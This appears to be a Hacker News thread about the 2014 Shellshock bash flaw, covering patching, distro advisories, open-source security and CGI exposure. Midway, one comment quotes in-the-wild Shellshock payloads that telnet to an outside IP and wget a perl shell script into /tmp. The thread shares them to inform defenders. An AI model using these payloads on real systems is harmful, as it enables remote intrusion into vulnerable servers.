It's certainly possible to be at risk if, for instance, you had a CGI script that was specifically written in bash (i.e. starts with "#!/bin/bash") but that's a lot less likely.
So definitely patch your Debian/Ubuntu/etc machines but do your Redhat-based ones (and other places where "/bin/sh --version" indicates that it's bash) first.
MS had it's fair share of security flaws in the past but give them credit for their current state. You sound like people still talking about BSODs, while it's certainly a thing in the past.
- https://technet.microsoft.com/en-us/library/security/dn63193...
I don't know where to get the multitude of security advisories for Unix systems listed all in one spot, but here are some links for popular distros:
- https://www.debian.org/security/
- http://www.ubuntu.com/usn/
- https://access.redhat.com/security/updates/active/
- http://www.slackware.com/security/list.php?l=slackware-secur...
Anyone know where to go in order to get the Unix vulns all in one list?
http://www.exploit-db.com/platform/?p=linux
Yes, certainly.
On the other hand, despite the premise of open source that 'many eyes make all bugs shallow', the amount of code in the wild and the complexity of it (and the diversity of implementation languages) has pretty much guaranteed that there's more code than possible coverage.
No one has to come up with clever marketing for Microsoft exploits because everyone expects there to be tons of them, given the level of complexity, and that Microsoft will push patches for them, because it affects their bottom line. Meanwhile, it seems in the open source world, you need PR campaigns to goad the community into due diligence.
If people could casually look at code and see vulnerabilities, then we wouldn't have any.
Also: MS Shared Source initiative
Although your point about the methods of exploits changing the dynamic is valid.
>Also: MS Shared Source initiative
Fair point.
I think you're dismissing the level of experience, smarts, and inter-disciplinary knowledge it takes to find a bug like this. More than likely, even those with all those skills and at the 1% of them can't just eyeball code and go, "Ah yes, here." They're instead writing a lot of little tools and seeing what they can break. Then they go back, see what broke, and work out if its possible to exploit that exception or crash condition.
These types of tools and methods work just as well with closed source. Attacking closed source seems very unfair to me in these scenarios.
They could, but they don't. Same way I can look at the sky and see an asteroid. Possible? Sure. Likely? Not without some pretty advanced tools or a hell of a lot of luck.
Kind of a broad statement there, isn't it?
By your logic - Where do zero day Windows vulnerabilities come from then? People outside of Microsoft have certainly reported security issues to Microsoft in the past.
What about all these shitty wireless routers out there? I think in the past they were QNX-based but they've long moved to being linux based. We know popular projects like dd-wrt and pfsense are probably okay (ash instead of bash), but what about the thousands of others? My own router is supplied by AT&T for its u-verse service. God knows what its running. Or all the NAS devices out there and load balancers, etc.
I guess we'll find out when the whitehats are done scanning the entire internet for vulnerable hosts.
It could do a lot of good for people and be a great PR move at the same time.
EDIT after OP's edit.
Sad. This situation feels kind of a disaster-relief thing; not a good time to think about monetizing it. Still, I do understand you don't want people thinking you'll always be protecting them from everything even if they don't pay.
EDIT2 after clarification downthread, previous edit is to be disregarded.
(Note: I removed sentence about CloudFlare pricing from previous comment to avoid any confusion about monetization)
Thank you for clarification!
If this is a disaster-relief thing-y, CloudFlare should then be eligible to receive government money later. I doubt that would be even considered by any parties.
https://blog.cloudflare.com/shellshock-protection-enabled-fo...
https://access.redhat.com/articles/1200223
() { :;}; /bin/bash -c \x22telnet 197.242.148.29 9999\x22 () { :; }; echo -e \x22Content-Type: text/plain\x5Cn\x22; echo qQQQQQq
Request of file: /cgi-sys/defaultwebpage.cgi With wget downloading a perl script to launch a shell: () { :;}; /bin/bash -c \x22/usr/bin/wget http://singlesaints.com/firefile/temp?h=example.com -O /tmp/a.pl\x22
That site is still up and serving right now if anyone wants to take a look.
http://pastebin.com/UdJZqUyV
I think this is not something which should be treated as a "value-added service" for your paying customers. The health and security of the Internet is far too important.
All your customers should be protected automatically.
P.S. I'm a big fan of Cloudflare.
http://blog.sucuri.net/2014/09/bash-shellshocker-attacks-inc...
Also, if anyone need a WAF to protect it in the mean while, we offer one that works very well with CloudFlare (their free plan).
Our team is giving is free for 30 days to help out.
Details: https://sucuri.net/website-firewall/
*Just email info@sucuri.net and they will get you hooked up.
thanks,
If you find any more of them, do you think you could publish their checksums?
1: https://lists.debian.org/debian-security-announce/
Debian isn't low volume: https://lists.debian.org/debian-security-announce/2014/threa...
Arch isn't high volume enough(!) https://mailman.archlinux.org/pipermail/arch-security/
Arch recommends the oss-security list, which is all too high volume http://www.openwall.com/lists/oss-security/2014/09/
CGI sends most headers through to the script as environment variables (i.e. a Foobar: header will turn into $HTTP_FOOBAR) so at attacker can just pick a header name that isn't likely to be logged.
Is anyone up for educating me?
I see http request -> apache -> env variables -> php
What am I missing?
More modern interfaces between dynamic code and webservers, like even FastCGI or SCGI or dozens of others do not pass user data over Environment variables, and instead pass data in various protocols over a socket.
(I guess that's basically what it's doing?)
Though IMO, yes this is risky.
Ok, bash needs to transfer function definitions to child processes in order to implement something called inherited functions, and I guess you could argue that an environment variable is a reasonable place to store them. But WHY THE HELL does bash have to use the function name as the variable name?!? That's just insane to me...
Any sane programmer would store that shit in an environment variable with a known name (e.g. "BASH_INHERITED_FUNCTIONS"). Why doesn't bash do that?!?
I wonder how that is justified, since my question generated 10 informative replies, five levels deep.
Does anyone dare to tell me why they downvoted my comment?
The issue is that bash takes it upon itself to parse all environment variables for functions, and accidentally executes some of them.
If you (or any libraries you use) do not shell out or if you're using php_fpm (which clears the env and passes headers out of the environment), the. You are safe.
I don't think the apache-user if properly restricted can write to directories, or even read most of the system files?
The problem with all of this is that it assumes that you don't have privilege escalation vulnerabilities on the local system, which is often not the case unless non-trivial effort has gone into hardening the server – e.g. all of that privilege separation is a waste if someone sledgehammer-ed a chmod 777 into a script rather than setting the appropriate ownership and permissions or someone delayed a kernel update because they didn't want the downtime and “knew” that only trusted code ran on that system.
I had someone exploit my Pydio install a few months ago with a litecoin miner. He managed to drop and run it in /tmp. He probably couldn't write and execute to too many other places.
ps -p $$
echo $0 (command name that was used to invoke the shell)
Not reliable: echo $SHELL (preferred shell for the user, not necessarily what is running)
Also note that you may want to remove/fix bash to make sure it doesn't get run by something else. A CGI script may run it despite you changing your default shell to something else.
I think I'm safe. Now installing updates patches bash.
Anyway, I've seen that syntax before (I'm talking of years here), on #bash in freenode.
Simply nobody did apply this from a security view point in the channel...